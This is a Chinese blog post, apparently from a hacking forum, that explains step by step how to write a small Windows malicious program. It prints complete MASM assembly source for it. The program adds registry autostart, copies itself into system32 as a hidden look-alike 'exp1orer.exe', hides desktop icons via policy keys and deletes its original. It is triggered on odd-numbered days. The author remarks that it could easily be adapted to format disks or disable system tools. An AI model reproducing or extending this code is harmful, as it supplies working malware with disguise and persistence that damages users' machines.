zoukankan      html  css  js  c++  java
  • 恶意程序是怎样写成的

    本来想写个"红色代码Ⅳ",不过病毒的首要特征,例如API重定位,调用GetKBase 得到Kernel32.dll的基地址,然后再调用调用GetAPIz得到病毒所需要的API,在汇编上实现这些,目前对我来说有难度。在感染过程,要考 虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的PE文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建Base64编码等方面,我略有缺陷。 病 毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象 征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环. 在程序的开头,调用_createKey子程序设置了启动的键值: szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0 szRegValue db ''StartPE'',0 szStr1 db "C:\WINDOWS\System32\exp1orer.exe" 这 些就是第一步所以设定的.在启动方式中,估计注册表Run启动是最脆弱的,复制到启动文件夹的话,又明显.最好的办法是创建远程线程,然后打开文件管理器 explorer.exe插入,并且还能隐藏.有个例子是隐藏窗口进程的,桌面的窗口类是"Progman",我想插进去rundll32.exe,无奈 不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉. 在开机后,我加入了判断本地时间后发作的代码: invoke GetSystemTime,offset lpSystemTime movzx ebx,lpSystemTime.wDay .if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29) 在win32API 中,对GetSystemTime的描述是"在一个SYSTEMTIME中载入当前系统时间,这个时间采用的是"协同世界时间"(即UTC,也叫做 GMT)格式",参数只有一个"lpSystemTime",并要定义一个"SYSTEMTIME"结构 "lpSystemTime SYSTEMTIME <?>".如果今天是1,3,5,7,9....,27,29,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录 [注:这个系统目录,我定义成"szWin db ''C:\windows\system32\exp1orer.exe'',0")所以在windows2000以下的系统,是不能复制的 :( ] invoke GetModuleFileName,hModule,addr szDirectory,200 invoke CopyFile,addr szDirectory,addr szWin,FALSE 利用GetModuleFileName获取路径,然后调用CopyFile,复制到系统目录去.接着"call _AttribCmd",调用了"_AttribCmd"这个子程序设置只读,隐藏属性."_AttribCmd"代码描述如下: _AttribCmd proc invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ret _AttribCmd endp 很显然,是调用了createProcess创建一个带szCmdAttrib参数的进程,这样,一些用命令参数的程序,可以这样编程来运行,例如 ping,首先设定变量"szCmd db ''c:\windows\system32\ping.exe IP -t'',0",描述代码是: .data szCmd db ''c:\windows\system32\ping.exe IP -t'',0 .data? stStartUp STARTUPINFO <?> stProcInfo PROCESS_INFORMATION <?> .code start: invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo end start 本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计MM是认为感染了病毒 :) .data szWriteKey db ''Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',0 szWriteValue db ''NoDesktop'',0 ;键值名称 szDword dd 1 ;数据 调用了子程序_WriteKey来完成: _WriteKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\ REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据 invoke RegCloseKey,@hKey .endif ret _WriteKey endp 做 完后,这一步就到了传播,呵呵,不过偶没写,就来个"invoke deleteFile,addr szDirectory"删除,然后也就退出了"invoke ExitProcess,NULL"虽然说恶意程序,但是破坏的地方不多.如果要模拟"万花谷"的破坏方式,也就是禁止了注册表而已,这个完全可以做到. 程序的完整代码如下: .386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include advapi32.inc includelib kernel32.lib includelib user32.lib includelib advapi32.lib .data szWin db ''C:\windows\system32\exp1orer.exe'',0 szCmdAttrib db ''attrib +R +H C:\windows\system32\exp1orer.exe'',0 szDirectory db 0 szRegKey db ''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',0 szRegValue db ''StartPE'',0 szStr1 db "C:\WINDOWS\System32\exp1orer.exe" szWriteKey db ''Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\'',0 szWriteValue db ''NoDesktop'',0 ;键值名称 szDword dd 1 ;数据 .data? hInstance dd ? hModule dd ? lpSystemTime SYSTEMTIME <?> osVersion OSVERSIONINFO <?> stStartUp STARTUPINFO <?> stProcInfo PROCESS_INFORMATION <?> .code ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _AttribCmd proc invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ret _AttribCmd endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _createKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\ REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据 invoke RegCloseKey,@hKey .endif ret _createKey endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _WriteKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\ REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据 invoke RegCloseKey,@hKey .endif ret _WriteKey endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> start: invoke GetModuleHandle,0 mov hInstance,eax invoke _createKey,NULL ;设置为启动 invoke GetSystemTime,offset lpSystemTime movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。 .if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)||(ebx == 29) invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径 invoke CopyFile,addr szDirectory,addr szWin,FALSE call _AttribCmd invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表 invoke deleteFile,addr szDirectory invoke ExitProcess,NULL .endif end start 这 个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个"createProcess",但是知道了一种调用方法,其他的也是千篇一律,例 如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用 者自己负责,与作者和邪恶八进制无关~~ 呵呵 :)
  • 相关阅读:
    在TreeView控件节点中显示图片
    PAT 甲级 1146 Topological Order (25 分)
    PAT 甲级 1146 Topological Order (25 分)
    PAT 甲级 1145 Hashing
    PAT 甲级 1145 Hashing
    PAT 甲级 1144 The Missing Number (20 分)
    PAT 甲级 1144 The Missing Number (20 分)
    PAT 甲级 1151 LCA in a Binary Tree (30 分)
    PAT 甲级 1151 LCA in a Binary Tree (30 分)
    PAT 甲级 1149 Dangerous Goods Packaging
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327689.html
Copyright © 2011-2022 走看看